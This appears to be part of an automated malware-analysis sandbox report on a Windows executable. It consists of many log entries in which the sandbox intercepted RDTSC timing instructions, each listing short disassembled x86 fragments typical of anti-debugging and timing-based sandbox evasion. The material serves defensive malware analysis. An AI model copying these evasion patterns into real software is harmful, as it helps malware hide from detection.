Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9BA5B second address: D9BA60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E25FDA second address: E25FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E26221 second address: E2623E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF1148823D6h 0x00000008 pop edx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E26483 second address: E26489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E26921 second address: E26932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FF1148823C6h 0x00000009 jns 00007FF1148823C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E26E9C second address: E26EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E258B1 second address: E258D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e js 00007FF1148823CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9F120 second address: D9F134 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 ja 00007FF114F02976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FF114F02976h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9F134 second address: D9F13E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF1148823C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9F13E second address: D9F144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E2E1AA second address: E2E1B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E2E1B1 second address: E2E1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007FF114F02976h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007FF114F0298Eh 0x00000017 jo 00007FF114F0297Eh 0x0000001d push edx 0x0000001e pop edx 0x0000001f je 00007FF114F02976h 0x00000025 push eax 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E2E331 second address: E2E33B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF1148823C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E2E4A0 second address: E2E4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF114F02987h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E30B1A second address: E30B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E30B20 second address: E30B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FF114F02980h 0x0000000a push ebx 0x0000000b jnc 00007FF114F02976h 0x00000011 pop ebx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007FF114F02976h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E30B47 second address: E30B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E30B4B second address: E30B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF114F0297Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E35A97 second address: E35AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 jo 00007FF1148823C6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E35AA8 second address: E35AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF114F02976h 0x0000000a jns 00007FF114F02976h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E35AB8 second address: E35ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E355AE second address: E355B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3A1A6 second address: E3A1AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3A1AE second address: E3A1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC9F7 second address: DECA06 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF1148823C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DECA06 second address: DECA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 movsx edx, cx 0x0000000a mov ebx, dword ptr [ebp+1248FAE8h] 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FF114F02978h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a add eax, ebx 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FF114F02978h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 sub dx, A02Bh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FF114F0297Bh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DECA72 second address: DECA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF1148823C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DECA7C second address: DECADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02986h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FF114F02978h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dword ptr [ebp+1245C5AAh], edx 0x0000002e push 00000004h 0x00000030 mov edx, 5C109EE1h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF114F02983h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DECADF second address: DECAF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3A588 second address: E3A592 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF114F0297Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3B093 second address: E3B09F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007FF1148823C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3B09F second address: E3B0CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jmp 00007FF114F02989h 0x00000012 jns 00007FF114F02976h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3B0CC second address: E3B0E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3B0E4 second address: E3B0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3E304 second address: E3E334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF1148823C6h 0x0000000a popad 0x0000000b push ebx 0x0000000c je 00007FF1148823C6h 0x00000012 jmp 00007FF1148823D7h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E3E334 second address: E3E344 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E45087 second address: E450A3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF1148823CCh 0x00000008 je 00007FF1148823D2h 0x0000000e jnp 00007FF1148823C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E45235 second address: E4523B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E458E2 second address: E45901 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF1148823D9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E45901 second address: E45911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF114F0297Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E45911 second address: E45917 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E45EC1 second address: E45EC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E466FD second address: E4670B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E469B4 second address: E469D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FF114F0297Dh 0x0000000e jmp 00007FF114F0297Bh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E4A4FA second address: E4A4FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E4A4FE second address: E4A504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E4F3EA second address: E4F3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E4F3EF second address: E4F429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF114F02976h 0x00000009 jnc 00007FF114F02976h 0x0000000f jmp 00007FF114F02980h 0x00000014 jns 00007FF114F02976h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF114F02980h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E573A0 second address: E573A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E573A9 second address: E573AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E573AD second address: E573B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E57978 second address: E579A1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF114F0297Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF114F02987h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E579A1 second address: E579A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E57E57 second address: E57E6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Bh 0x00000007 jnc 00007FF114F02976h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E57E6C second address: E57E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823D5h 0x00000008 jmp 00007FF1148823D4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E58008 second address: E5800C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E5800C second address: E58010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E58010 second address: E58022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FF114F0297Ah 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E58177 second address: E5817D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E589CD second address: E589DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jp 00007FF114F02976h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E589DB second address: E589E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E5911F second address: E5913D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FF114F0297Dh 0x0000000b jbe 00007FF114F02976h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E5913D second address: E59141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E59141 second address: E59145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E59145 second address: E5914B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E56F63 second address: E56F68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D982B9 second address: D982D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF1148823C6h 0x0000000a jmp 00007FF1148823CDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D982D0 second address: D982D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E610F4 second address: E6110E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E6110E second address: E6111A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF114F02976h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E6111A second address: E6111E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E643C3 second address: E643C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E76F39 second address: E76F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E76F3F second address: E76F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E7EDE3 second address: E7EDFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FF1148823E9h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E7EC66 second address: E7EC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E7EC6E second address: E7EC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823D9h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FF1148823CFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8D4DD second address: E8D4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8BF78 second address: E8BF93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8BF93 second address: E8BFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FF114F02982h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF114F02982h 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8BFC5 second address: E8BFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8C5C0 second address: E8C5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8C732 second address: E8C75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF1148823E4h 0x0000000a jmp 00007FF1148823CFh 0x0000000f jmp 00007FF1148823CFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8C75A second address: E8C75F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8D1F4 second address: E8D1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E8D1FB second address: E8D206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007FF114F02976h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: ED3520 second address: ED352D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: ED352D second address: ED3531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: ED3394 second address: ED33AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: ED33AB second address: ED33C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF114F02981h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: ED0171 second address: ED0177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: ED0177 second address: ED017B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: EE0557 second address: EE0577 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF1148823C6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF1148823D4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: EE0577 second address: EE057E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: FA547F second address: FA54A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007FF1148823D4h 0x00000013 popad 0x00000014 rdtsc
